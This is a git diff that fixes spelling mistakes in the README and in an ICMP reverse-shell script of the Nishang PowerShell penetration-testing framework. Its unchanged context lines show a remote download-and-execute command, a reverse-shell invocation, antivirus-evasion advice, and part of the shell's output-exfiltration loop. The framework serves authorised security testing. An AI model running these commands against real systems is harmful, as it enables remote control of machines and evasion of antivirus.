diff --git a/README.md b/README.md
index 04f5c9e..28c3c79 100644
--- a/README.md
+++ b/README.md
@@ -36,7 +36,7 @@ PS C:\nishang> Get-Help Get-WLAN-Keys -Full
 ```
 
 #### Anti Virus
-Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
+Nishang scripts are flagged by many Anti Viruses as malicious. The scripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
 
 Method 1. Use the in-memory dowload and execute:
 Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
@@ -48,7 +48,7 @@ powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>
 Method 2. Use the `-encodedcommand` (or `-e`) parameter of PowerShell
 All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) `"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"`.
 
-Encode the scrript using Invoke-Encode from Nishang:
+Encode the script using Invoke-Encode from Nishang:
 
 ```powershell
 PS C:\nishang> . \nishang\Utility\Invoke-Encode
diff --git a/Shells/Invoke-PowerShellIcmp.ps1 b/Shells/Invoke-PowerShellIcmp.ps1
index 0ecce7c..8954480 100644
--- a/Shells/Invoke-PowerShellIcmp.ps1
+++ b/Shells/Invoke-PowerShellIcmp.ps1
@@ -2,7 +2,7 @@ function Invoke-PowerShellIcmp
 { 
 <#
 .SYNOPSIS
-Nishang script which can be used for a Reverse interactive PowerShell from a target over ICMP. 
+Nishang script which can be used for a Reverse interactive PowerShell from a target over ICMP.
 
 .DESCRIPTION
 This script can receive commands from a server, execute them and return the result to the server using only ICMP.
@@ -16,7 +16,7 @@ The IP address of the server/listener to connect to.
 Time in seconds for which the script waits for a command from the server. Default is 5 seconds. 
 
 .PARAMETER BufferSize
-The size of output Buffer. Defualt is 128.
+The size of output buffer. Default is 128.
 
 .EXAMPLE
 # sysctl -w net.ipv4.icmp_echo_ignore_all=1
@@ -78,7 +78,7 @@ https://github.com/samratashok/nishang
             $index = [math]::floor($sendbytes.length/$BufferSize)
             $i = 0
 
-            #Fragmant larger output into smaller ones to send to the server.
+            #Fragment larger output into smaller ones to send to the server.
             if ($sendbytes.length -gt $BufferSize)
             {
                 while ($i -lt $index )